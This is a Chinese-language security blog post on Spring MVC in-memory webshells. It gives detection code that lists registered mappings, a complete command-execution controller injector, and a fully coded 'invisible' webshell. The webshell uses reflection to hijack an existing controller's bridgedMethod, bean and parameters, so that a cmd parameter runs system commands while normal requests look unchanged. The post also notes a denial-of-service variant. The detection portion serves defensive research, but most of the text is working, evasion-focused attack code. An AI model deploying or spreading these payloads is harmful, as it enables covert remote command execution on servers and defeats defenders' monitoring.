0x01 介绍
看了一些大佬的查杀内存马文章,很少有Spring相关内存马的检测方式
有部分是借助javaagent
得到jvm
中所有已加载的类然后分析,显得有点庞大
是否可以只借助Spring
框架本身做检测呢
从检测思路上得到了一种进阶的内存马:隐形马,也可以叫做劫持马
劫持正常的Controller
改为内存马,表明上一切正常,通过检测手段无法发现
0x02 检测效果
笔者基于SpringMVC
本身写了一些检测代码
正常情况下,项目中已经有一些正常的mapping
记录
使用来自Landgrey
师傅公布的Payload
,也是广为流传的一种
基于内存 Webshell 的无文件攻击技术研究
代码语言:javascript复制public class InjectToController {
public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method2 = InjectToController.class.getMethod("test");
PatternsRequestCondition url = new PatternsRequestCondition("good");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
InjectToController injectToController = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
public InjectToController(String aaa) {}
public void test() throws IOException{
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
response.sendError(404);
}
}catch (Exception e){}
}
}
以上代码实现的效果是添加一个Controller
型内存马:/good?cmd=whoami
注册成功后使用我写的检测代码,可以得到下面的结果
很明显这里的exp.InjectToController
非法
如果黑客将类名InjectToController
修改为正常的,也会因为包名不一致轻松检查出
最坏的情况,信息泄露,黑客做到和系统包名一致,也可以从映射数量增加的角度检查,不难实现
进一步可以做查杀,把恶意的Controller
杀死,可以把对应的路径修改为非常复杂的随机串,也可以把路径对应的执行方法置空
这一点做起来不难,有空补上代码
0x03 检测原理
原理比较简单,就是从目前的Spring
容器中找到被注册的所有mapping
信息,拼接输出即可
实现起来其实有点小坑
首先通过context
拿到RequestMappingHandlerMapping
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping rmhMapping = context.getBean(RequestMappingHandlerMapping.class);
这个对象本身没包含什么重要信息,但是它的爷类AbstractHandlerMethodMapping
里有重要信息
其中有一个属性mappingRegistry
,类型是内部私有类MappingRegistry
public abstract class AbstractHandlerMethodMapping<T> extends AbstractHandlerMapping implements InitializingBean {
...
private final MappingRegistry mappingRegistry = new MappingRegistry();
...
}
找到这个内部类MappingRegistry
,属性registry
是真正的注册信息,记录了每个映射到具体方法的关系
class MappingRegistry {
...
private final Map<T, MappingRegistration<T>> registry = new HashMap<>();
...
}
而MappingRegistration
类也是内部私有类
static class MappingRegistration<T> {
...
private final HandlerMethod handlerMethod;
...
}
其中的HandlerMethod
保存包装后的了Controller
中的路由方法
public class HandlerMethod {
...
private final String description;
...
}
其中description
字段记录了被注册的Controller
的描述,例如com.example.spring.TestController#test1()
该信息应该被取出来输出,用来判断是否来自恶意类
回到上文的Map<T, MappingRegistration<T>> registry
其中的Key
为泛型,实际上这个类型应该是:RequestMappingInfo
public final class RequestMappingInfo implements RequestCondition<RequestMappingInfo> {
...
@Nullable
private final String name;
@Nullable
private final PathPatternsRequestCondition pathPatternsCondition;
...
}
值得一说的是,其中的name
不是路径,实际的值其实是空。路径信息保存在PathPatternsRequestConditio
中
public final class PathPatternsRequestCondition extends AbstractRequestCondition<PathPatternsRequestCondition> {
...
private final SortedSet<PathPattern> patterns;
}
Spring
框架封装完善,这里也不是真正的路径,而是保存在SortedSet<PathPattern> patterns
PathPattern
的patternString
保存了路径:/test
public class PathPattern implements Comparable<PathPattern> {
...
private final String patternString;
}
分析结束,接下来就剩实现了
上文取到了RequestMappingHandlerMapping
对象,通过反射从其爷类取到mappingRegistry
属性
Field _mappingRegistry = AbstractHandlerMethodMapping.class.getDeclaredField("mappingRegistry");
_mappingRegistry.setAccessible(true);
Object mappingRegistry = _mappingRegistry.get(rmhMapping);
参考分析步骤拿到MappingRegistry
对象
Field _registry = mappingRegistry.getClass().getDeclaredField("registry");
_registry.setAccessible(true);
HashMap<Object,Object> registry = (HashMap<Object, Object>) _registry.get(mappingRegistry);
这个HashMap
的Key
好说,直接强转;它的Value
是一个内部私有类,获取起来有点麻烦,遍历AbstractHandlerMethodMapping
的所有内部私有类,直到类名符合MappingRegistration
记录下Class
。之所以想方设法拿到MappingRegistration
的Class
是为了获取其中的HandlerMethod
进而拿到注册描述信息
Class<?>[] tempArray = AbstractHandlerMethodMapping.class.getDeclaredClasses();
Class<?> mappingRegistrationClazz = null;
for (Class<?> item : tempArray) {
if (item.getName().equals(
"org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistration"
)) {
mappingRegistrationClazz = item;
}
}
接下来的步骤不难
代码语言:javascript复制// 拼接字符串输出
StringBuilder sb = new StringBuilder();
sb.append("<pre>");
sb.append("| path |").append("t").append("t").append("| info |").append("n");
// 遍历MappingRegistry中的注册信息
for(Map.Entry<Object,Object> entry:registry.entrySet()){
sb.append("--------------------------------------------");
sb.append("n");
// 得到key
RequestMappingInfo key = (RequestMappingInfo) entry.getKey();
// 路径保存在PatternsCondition的Patterns中
// set不能get所以转list后get
List<String> tempList = new ArrayList<>(key.getPatternsCondition().getPatterns());
// 一般情况下只有一个直接用get(0)
sb.append(tempList.get(0)).append("t").append("-->").append("t");
// 反射得到value的HandlerMethod属性
Field _handlerMethod = mappingRegistrationClazz.getDeclaredField("handlerMethod");
_handlerMethod.setAccessible(true);
HandlerMethod handlerMethod = (HandlerMethod) _handlerMethod.get(entry.getValue());
// 反射得到HandlerMethod的注册描述信息:description
Field _desc = handlerMethod.getClass().getDeclaredField("description");
_desc.setAccessible(true);
String desc = (String) _desc.get(handlerMethod);
sb.append(desc);
sb.append("n");
}
sb.append("</pre>");
0x04 隐形马
检测思路主要是检查是否有新注册的Controller
是否可以在不注册新的Controller
情况下加入内存马呢
假设我发现了目标机器存在一个接口,返回ok
字样
(找到一个总返回固定字符串的接口用来劫持)
通过我一些手段,做到了这样的效果:
- 如果访问
/api
一切正常 - 如果访问
/api?cmd=whomai
等情况则执行命令
效果如下
如果用以上检测手段来查:一切正常
0x05 隐形马原理
SpringMVC原理浅析
首先来学习下SpringMVC
处理请求的底层原理
一个重要的类DispatcherServlet
,在普通WEB项目中需要配置web.xml
如下,在SpringBoot
自动配置
<servlet>
<servlet-name>springMVC</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/dispatcherServlet.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
<async-supported>true</async-supported>
</servlet>
<servlet-mapping>
<servlet-name>springMVC</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
简单来看下这个Servlet
是怎样的:继承自FrameworkServlet
,本质是一个普通的HttpServlet
处理请求大致流程如下
找到FrameworkServlet
的doGet
入口
@Override
protected final void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
processRequest(request, response);
}
跟入processRequest
方法
protected final void processRequest(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
...
try {
doService(request, response);
}
...
}
跟入doService
到达DispatcherSerlvet.doService
实现
@Override
protected void doService(HttpServletRequest request, HttpServletResponse response) throws Exception {
...
try {
doDispatch(request, response);
}
...
}
跟入DispatcherSerlvet.doDispatch
protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
...
// Determine handler adapter for the current request.
HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());
...
// Actually invoke the handler.
mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
...
}
跟入HandlerAdapter.handle
方法中,跨过一些接口和简单的类,到达RequestMappingHandlerAdapter.handleInternal
protected ModelAndView handleInternal(HttpServletRequest request,
HttpServletResponse response, HandlerMethod handlerMethod) throws Exception {
...
mav = invokeHandlerMethod(request, response, handlerMethod);
...
}
跟入RequestMappingHandlerAdapter.invokeHandlerMethod
protected ModelAndView invokeHandlerMethod(HttpServletRequest request,
HttpServletResponse response, HandlerMethod handlerMethod) throws Exception {
...
invocableMethod.invokeAndHandle(webRequest, mavContainer);
...
}
后面还有好几层,略过这些步骤可以发现最终到达了InvocableHandlerMethod.doInvoke
protected Object doInvoke(Object... args) throws Exception {
Method method = getBridgedMethod();
try {
if (KotlinDetector.isSuspendingFunction(method)) {
return CoroutinesUtils.invokeSuspendingFunction(method, getBean(), args);
}
return method.invoke(getBean(), args);
}
...
}
不难发现SpringMVC
最底层的原理是反射调用
这里的method
是Controller
中的方法对象,使用getBean
方法得到容器中的Controller
对象然后invoke
调用
隐形马核心原理
于是产生一个思路:把反射调用的方法改成特殊的方法
- 不含有cmd参数时返回和以前一样的结果,伪装正常
- 如果有cmd参数传入则执行命令回显,做到内存马的效果
思路简单,实际上并不是很容易修改
InvocableHandlerMethod
这个类并不陌生,是上文HandlerMethod
的一个子类
回到HandlerMethod
看看里面有什么属性
public class HandlerMethod {
private final Object bean;
private final Method method;
private final Method bridgedMethod;
private final MethodParameter[] parameters;
...
}
难点一
第一处坑:具体调用的方法是什么?
发现有两个反射方法method
和bridgeMethod
,通过上文doInvoke
方法的第一行
Method method = getBridgedMethod();
不难发现真正调用的方法是bridgedMethod
属性
protected Method getBridgedMethod() {
return this.bridgedMethod;
}
关于桥接方法,主要是JDK为了兼容泛型做的操作,不做深入分析
其实从官方getBridgedMethod
方法的注释就可以看出,这里和method
应该一致的
If the bean method is a bridge method, this method returns the bridged (user-defined) method.
Otherwise it returns the same method as getMethod().
为什么这里是坑?
第一次跟入的时候没有注意Method method = getBridgedMethod();
方法,一直在尝试修改method
发现没用
难点二
第二处坑:修改方法成功后为什么报错?
当真正修改成功方法后,会报错:
代码语言:javascript复制The mapped handler method class '...' is not an instance of the actual controller bean class 'com.example.spring.ApiController'
这个原因好分析,其实反射调用的第一个参数是对象
代码语言:javascript复制method.invoke(getBean(), args);
方法如下,是一个Object
类型的对象
public Object getBean() {
return this.bean;
}
通过反射修改了这个属性即可绕过这个坑
难点三
第三处坑:修改Bean之后为什么还报错?
这里会报出一个错:java.lang.IllegalStateException: wrong number of arguments
原因如下
真实的方法是这样,不接收参数
代码语言:javascript复制@RequestMapping("/api")
@ResponseBody
public String scan(){
return "ok";
}
导致doInvoke
的参数实际上是空,而method.invoke
需要对应的cmd
参数
protected Object doInvoke(Object... args) throws Exception {
// args=null
Method method = getBridgedMethod();
try {
if (KotlinDetector.isSuspendingFunction(method)) {
return CoroutinesUtils.invokeSuspendingFunction(method, getBean(), args);
}
// error
return method.invoke(getBean(), args);
}
...
}
这个参数的获取方法在invokeForRequest
的getMethodArgumentValues
public Object invokeForRequest(NativeWebRequest request, @Nullable ModelAndViewContainer mavContainer,
Object... providedArgs) throws Exception {
Object[] args = getMethodArgumentValues(request, mavContainer, providedArgs);
if (logger.isTraceEnabled()) {
logger.trace("Arguments: " Arrays.toString(args));
}
return doInvoke(args);
}
跟入getMethodArgumentValues
后发现实际上是从HandlerMethod
的parameters
属性中取值的
protected Object[] getMethodArgumentValues(NativeWebRequest request, @Nullable ModelAndViewContainer mavContainer,
Object... providedArgs) throws Exception {
MethodParameter[] parameters = getMethodParameters();
if (ObjectUtils.isEmpty(parameters)) {
return EMPTY_ARGS;
}
...
}
反射修改了parameters
即可解决问题
0x06 代码实现
首先需要黑客自行寻找一处隐藏点
代码语言:javascript复制// 接口
static final String targetPath = "/api";
// 返回具体内容
static final String text = "ok";
需要找到一处接口:通常情况下返回一个固定的值
为什么要找这样一个接口:不容易发现该接口出问题,黑盒很难模拟出完整的业务逻辑
(如果熟悉该接口的业务逻辑造一个一模一样的也不是难事)
通过Context
拿到mappingRegistry
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping rmhMapping = context.getBean(RequestMappingHandlerMapping.class);
Field _mappingRegistry = AbstractHandlerMethodMapping.class.getDeclaredField("mappingRegistry");
_mappingRegistry.setAccessible(true);
Object mappingRegistry = _mappingRegistry.get(rmhMapping);
想办法拿到私有类MappingRegistry
和MappingRegistration
的Class
对象
Class<?>[] tempArray = AbstractHandlerMethodMapping.class.getDeclaredClasses();
Class<?> mappingRegistryClazz = null;
Class<?> mappingRegistrationClazz = null;
for (Class<?> item : tempArray) {
if (item.getName().equals(
"org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry"
)) {
mappingRegistryClazz = item;
}
if (item.getName().equals(
"org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistration"
)) {
mappingRegistrationClazz = item;
}
}
拿到注册信息
代码语言:javascript复制Field _registry = mappingRegistryClazz.getDeclaredField("registry");
_registry.setAccessible(true);
HashMap<RequestMappingInfo, Object> registry =
(HashMap<RequestMappingInfo, Object>) _registry.get(mappingRegistry);
内存马方法
代码语言:javascript复制Method targetMethod = Horse.class.getMethod("shell", String.class);
内存马逻辑
代码语言:javascript复制public String shell(String cmd) throws IOException {
// 拿到响应对象
HttpServletResponse response = ((ServletRequestAttributes)
(RequestContextHolder.currentRequestAttributes())).getResponse();
try {
if (cmd != null && !cmd.equals("")) {
Process process = Runtime.getRuntime().exec(cmd);
StringBuilder outStr = new StringBuilder();
outStr.append("<pre>");
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(process.getInputStream());
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine()) != null) {
outStr.append(s).append("n");
}
outStr.append("</pre>");
response.getWriter().print(outStr);
return outStr.toString();
} else {
response.getWriter().print(text);
return text;
}
} catch (Exception ignored) {
}
response.getWriter().print(text);
return text;
}
逻辑如下:
- 不带cmd参数返回正常的字符串
- 带了cmd参数执行命令回显
遍历所有注册信息,找到我们的目标修改
代码语言:javascript复制 for (Map.Entry<RequestMappingInfo, Object> entry : registry.entrySet()) {
if (entry.getKey().getPatternsCondition().getPatterns().contains(targetPath)) {
...
}
}
拿到HandlerMethod
对象
Field _handlerMethod = mappingRegistrationClazz.getDeclaredField("handlerMethod");
_handlerMethod.setAccessible(true);
HandlerMethod handlerMethod = (HandlerMethod) _handlerMethod.get(entry.getValue());
修改bridgeMethod
属性
注意:这里的难点在于修改final
属性,需要两次反射
Field _tempMethod = handlerMethod.getClass().getDeclaredField("bridgedMethod");
_tempMethod.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(_tempMethod, _tempMethod.getModifiers() & ~Modifier.FINAL);
_tempMethod.set(handlerMethod, targetMethod);
修改bean
对象
注意:这里不用空参构造方法因为会导致死循环,所以使用new Horse("horse")
Field _bean = handlerMethod.getClass().getDeclaredField("bean");
_bean.setAccessible(true);
Field beanModifiersField = Field.class.getDeclaredField("modifiers");
beanModifiersField.setAccessible(true);
beanModifiersField.setInt(_bean, _bean.getModifiers() & ~Modifier.FINAL);
_bean.set(handlerMethod, new Horse("horse"));
修改parameters
属性
Field _parameters = handlerMethod.getClass().getDeclaredField("parameters");
_parameters.setAccessible(true);
Field paramModifiersField = Field.class.getDeclaredField("modifiers");
paramModifiersField.setAccessible(true);
paramModifiersField.setInt(_parameters, _parameters.getModifiers() & ~Modifier.FINAL);
// new MethodParameter数组
MethodParameter[] newParams = new MethodParameter[]{
new MethodParameter(targetMethod, 0)};
_parameters.set(handlerMethod, newParams);
0x07 总结思考
换个思路,把所有反射调用的方法置空会怎样?
代码语言:javascript复制_tempMethod.set(handlerMethod, null);
会导致所有的mapping
报空指针异常,造成拒绝服务漏洞
环境代码地址:
https://github.com/EmYiQing/SpringMemShell
(一个基于Tomcat
的SpringMVC
项目,按照README.md
测试即可成功)